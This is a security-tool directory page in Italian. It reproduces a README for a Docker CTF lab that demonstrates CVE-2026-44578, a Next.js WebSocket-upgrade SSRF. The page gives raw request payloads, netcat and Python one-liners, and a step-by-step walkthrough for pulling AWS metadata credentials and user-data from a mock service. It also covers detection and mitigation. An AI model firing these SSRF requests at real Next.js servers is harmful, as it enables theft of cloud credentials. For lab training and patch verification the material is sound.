Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-44578-next-js-ssrf — este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah | Kitploit
Strumenti/GitHubGitHub/isaca0315/cve-2026-44578-next-js-ssrf
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingSicurezza CloudLab e Pratica
GitHubisaca0315/cve-2026-44578-next-js-ssrf

CVE-2026-44578-next-js-ssrf

este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah

Vedi Repository
11h 46m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-44578 — Next.js WebSocket Upgrade SSRF (Laboratorio)

Laboratorio autocontenuto per riprodurre la vulnerabilità CVE-2026-44578 (CWE-918, SSRF) in applicazioni Next.js self-hosted che usano il server Node.js integrato.

CampoValore
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
TipoSSRF (CWE-918)
Versioni interessateNext.js 13.4.13 – 15.5.15 e 16.0.0 – 16.2.4
Versioni corrette15.5.16 e 16.2.5
Autenticazionenessuna
Interazione utentenessuna

Topologia del laboratorio

root@kitploit:~
Attaccante (host: 0.0.0.0)
    │  HTTP :3000 (pubblico)
    ▼
┌──────────────────────────┐  stesso namespace di rete  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ Fake AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (credenziali,       │
│ (server Node integrato)  │                           │  user-data, indice) │
└──────────────────────────┘                           └─────────────────────┘
  • nextjs-vuln (porta 3000): l'app vulnerabile, esposta su 0.0.0.0:3000.
  • imds-sidecar: mock del metadata service di AWS che vive su localhost:80 all'interno del namespace del container di Next.js, modellando un'istanza reale nel cloud. Non è raggiungibile dall'host direttamente (nessuna porta pubblicata).
root@kitploit:~
                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # PoC automatizzato (5 probe)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # Fake IMDSv1 + route segrete
                        └── nextjs-app/             # App realistica "Nimbus Analytics"
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # navbar/footer
                            │   ├── page.js         # landing
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (vulnerabile)

Perché è vulnerabile

L'upgrade handler di WebSocket in router-server.ts chiama proxyRequest() quando l'URI parsato ha parsedUrl.protocol, senza verificare i flag finished e statusCode che l'handler HTTP normale ha sempre emesso:

root@kitploit:~
  // vulnerabile (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // patch (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

Il percorso di attacco usa una request line con URI assoluta a doppia barra: GET http:///path. normalizeRepeatedSlashes comprime http:/// in http:/, lasciandolo senza hostname, e http-proxy si connette quindi a localhost:80 con il path intatto:

root@kitploit:~
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

La presenza delle intestazioni Connection: Upgrade + Upgrade: websocket fa sì che la richiesta cada nell'upgrade handler vulnerabile invece che nell'handler HTTP con i controlli di sicurezza.

Avvio del laboratorio

root@kitploit:~
docker compose up -d --build

Verificare che l'app risponda:

root@kitploit:~
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

Per lasciarlo in ascolto su 0.0.0.0, il mapping delle porte in docker-compose.yml espone già 3000:3000 su tutte le interfacce.

Exploit manuale

1. Usando netcat (nc)

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. Usando Python puro (stdlib, senza dipendenze)

root@kitploit:~
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. Usando il PoC automatizzato

root@kitploit:~
python3 exploit/exploit.py 127.0.0.1 3000

CTF — cattura manuale del flag finale

Flusso completo 100 % manuale, in 4 fasi. Ci sono 4 flag nascosti nel servizio interno (localhost:80); questa guida mostra il flusso fino al primo e ti lascia le route per trovare gli altri.

Fase 1 — Ricognizione

root@kitploit:~
# Fingerprint del server
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# Porte aperte via socket (senza nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

Non c'è accesso diretto a 127.0.0.1:80 dall'attaccante: l'unico vettore è far sì che il server Next.js (che vive nella stessa rete del servizio interno) faccia la richiesta per noi.

Fase 2 — Enumerazione del metadata service via SSRF

Prima confermiamo l'SSRF chiedendo l'indice del metadata service:

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

Risposta dell'indice → candidati: instance-id, hostname, iam/security-credentials/, user-data (primo flag). L'indice di latest/meta-data/ rivela anche sub-key che conviene continuare a esplorare.

Fase 3 — Costruzione del payload (byte per byte)

root@kitploit:~
GET http:///latest/user-data HTTP/1.1
ParteFunzione
GETLa vuln fa da proxy solo per GET
http:///latest/user-dataURI assoluta. http:/// si comprime in http:/ → hostname null → il proxy si connette a localhost:80 conservando il path /latest/user-data
Host: 127.0.0.1:3000Altrimenti il server risponde 400
Connection: Upgrade + Upgrade: websocketDeviano la richiesta all'upgrade handler vulnerabile (l'handler HTTP normale invece valida)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==Intestazioni minime richieste in un handshake legittimo

Terminazione: \r\n\r\n sul socket raw (senza body).

Fase 4 — Invio manuale e cattura del flag

root@kitploit:~
# Opzione A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
root@kitploit:~
# Opzione B: socket raw in Python (stessa precisione, senza nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

Output — il primo flag arriva nel body della risposta del servizio interno:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14

#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}

Flag 1/4 ottenuto. L'intestazione server: BaseHTTP/0.6 ... (mock Python) conferma che la richiesta è viaggiata Attaccante → Next.js → localhost:80, cioè il flag è stato esfiltrato dalla rete interna tramite l'SSRF. Gli altri 3 sono sparsi nelle route del metadata service e del servizio interno — l'indice di latest/meta-data/ è la tua mappa. Trova gli altri.

Endpoint esposti nel lab

Il fake IMDS (localhost:80) modella il metadata service reale di AWS: è un albero navigabile. Ogni directory (termina con /) risponde con l'indice delle sue sotto-route; chiedere una directory senza / restituisce un redirect 301. Non ci sono route nascoste: nessun flag richiede di indovinare — tutto si scopre navigando gli indici.

root@kitploit:~
/  →  latest/
        ├── meta-data/   → ami-id, hostname, iam/, instance-id, instance-type,
        │                   local-hostname, placement/, public-hostname, tags/
        ├── dynamic/     → instance-identity/
        └── user-data    → script di boot (indica internal/config)
RouteContenuto
latest/meta-data/Indice dei metadata (riga sopra)
latest/meta-data/iam/security-credentials/Ruolo lab-ssrf-role
latest/meta-data/iam/security-credentials/lab-ssrf-roleJSON con AccessKeyId, SecretAccessKey e Token
latest/user-dataScript di boot con credenziali del DB
latest/dynamic/instance-identity/documentJSON di identità dell'istanza
internal/configConfig di un servizio interno (DB, API key) — referenziato da user-data

Sfida CTF: ci sono 4 flag, e ognuno è un artefatto reale della catena di exploit SSRF contro AWS: (1) user-data del boot, (2) credenziali IAM, (3) identity document, (4) config di un servizio interno. I loro valori non sono pubblicati. Naviga gli indici (/ → latest/ → …) e seguirai di banner in banner; lo script di user-data ti dice dove vive il quarto. Non devi indovinare route: il 404 ti tradisce solo se stai inventando un path che non esiste.

Guida alla risoluzione (spoiler graduali)

Versione completa con la catena flag→flag nel suo documento dedicato: SOLUCION.md (ogni flag ti dà l'indizio del successivo, fuori da questo README).

La regola: ogni flag ha un indizio, un ostacolo e la soluzione. Prima prova con l'indizio; usa l'ostacolo quando sei bloccato. Non ci sono route nascoste: nessuno inganna, tutto si naviga.

Due avvisi prima di iniziare:

  1. L'helper ssrf() è già pronto in SOLUCION.md → Preparazione: copialo e usalo per il resto della guida. Invia una richiesta GET http:///<path> con Connection: Upgrade + Upgrade: websocket.
  2. I flag viaggiano cifrati in base64. Nelle risposte vedrai blob RkxBR3… (base64 di FLAG{…}). Decifrali: echo <blob> | base64 -d.

Flag 1 — user-data (il più facile)

  • Indizio: cosa restituisce un GET a /latest/user-data? È la prima cosa che controlla qualsiasi attaccante su AWS.
  • Ostacolo 1 (indici 301): le cartelle si elencano con / alla fine. ssrf latest/meta-data ti dà 301 Moved Permanently e Location: latest/meta-data/. = "Seguimi". Con nc non c'è follow automatico: ripeti la richiesta con lo slash.
  • Soluzione:
root@kitploit:~
ssrf latest/user-data

Nel body: lo script di boot con DB_PASS=… (Flag 1 è lì dentro), e una riga curl -s http://internal/config che è la mappa del Flag 4.

Flag 2 — credenziali IAM

  • Indizio: naviga latest/meta-data/iam/security-credentials/ e chiedi il ruolo che appare.
  • Ostacolo 2 (il Token non è riempitivo): il 200 restituisce un JSON lungo. AccessKeyId/SecretAccessKey saltano all'occhio; il Flag 2 non è lì: il campo Token è un'unica stringa base64. Decifrala.
  • Soluzione:
root@kitploit:~
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role

Flag 3 — identity document

  • Indizio: latest/meta-data/ non è l'unico albero. Guarda l'indice radice: c'è un dynamic/ che quasi nessuno apre.
  • Ostacolo (redirect a catena): dynamic/ → instance-identity/ → document. Sono tre gradini; in ognuno il tuo ssrf deve terminare con / (tranne document). La gente si perde per non richiedere dopo il 301.
  • Soluzione:
root@kitploit:~
ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document

Il JSON di identità include una chiave FLAG con il Flag 3 (in base64). Se la tua serie di comandi ha restituito 301 al secondo gradino, tieni a mente la lezione dell'Ostacolo 1.

Flag 4 — config di un servizio interno

  • Indizio: il Flag 1 (user-data) confessava l'indirizzo: curl -s http://internal/config.
  • Ostacolo (cos'è "internal"?): dall'attaccante internal non risolve. "internal" è un alias lato server, non tuo. Non cambi l'host: l'SSRF atterra sempre su localhost:80; scegli solo il path.
  • Soluzione:
root@kitploit:~
ssrf internal/config

Verifica dei 4 (blob base64 → decodificato):

root@kitploit:~
ssrf latest/user-data        | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config         | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo

4/4 flag in mano. Se qualcuno non ti esce come FLAG{...}, ormai lo sai: controlla il curl di user-data (ostacolo del Flag 4) o lo / degli indici (ostacolo del Flag 1).

Uso manuale, ad esempio credenziali IAM:

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

Risultato atteso — la risposta arriva con server: BaseHTTP/0.6 Python/3.12.x (il mock), non con il banner di Next.js, il che prova che la richiesta è stata fatta dal server verso localhost:80:

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain

{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}

Risultato del PoC

Il PoC verifica l'SSRF ma censura i flag: i blob base64 dei FLAG{...} e i FLAG{...} in chiaro vengono mostrati come testo censurato. I valori si ottengono solo con l'esplorazione manuale (sezione CTF sopra).

root@kitploit:~
--- IAM Creds ---
  HTTP/1.0 200 OK
  {"Code": "Success", ..., "Token": "RkxBR3******** (flag cifrato: exploit manuale) ***"}

--- User Data ---
  HTTP/1.0 200 OK
  #!/bin/bash
  flag=RkxBR3******** (flag cifrato: exploit manuale) ***

Limitazioni della vulnerabilità

  • Solo GET (non POST/PUT).
  • Solo porta 80 (l'hostname si perde nella normalizzazione di http:///).
  • IMDSv2 non sfruttabile (richiede PUT per il token).
  • Metadata di GCP non sfruttabile (rifiuta Upgrade: websocket con 400).
  • Vercel-hosted non interessato.
  • Dietro un reverse proxy (nginx/Caddy/HAProxy) le URI assolute vengono solitamente bloccate.

Verifica della "correzione"

Per confermare che la patch (Next.js ≥ 15.5.16) blocchi l'attacco, cambia la versione in nextjs-app/package.json a 15.5.16, ricostruisci e riesegui lo stesso payload: la connessione si chiude senza restituire dati.

Rilevamento

Firme nei log del processo Next.js:

  • Failed to proxy http:/ — il proxy si è attivato ma la destinazione era irraggiungibile.
  • Richieste la cui request line contiene un URI assoluto con http: insieme a intestazioni Connection: Upgrade / Upgrade: websocket.

Mitigazione

  • Aggiornare a 15.5.16 / 16.2.5 o successiva.
  • Se non è possibile aggiornare: bloccare gli upgrade di WebSocket nel reverse proxy e applicare IMDSv2 (HttpTokens=required) su AWS.
  • Esempio nginx per rifiutare URI assolute:
root@kitploit:~
if ($request_uri ~* "^https?://") { return 400; }

Riferimenti

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-44578
  • GHSA: https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • Commit di fix: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
Scarica lo strumento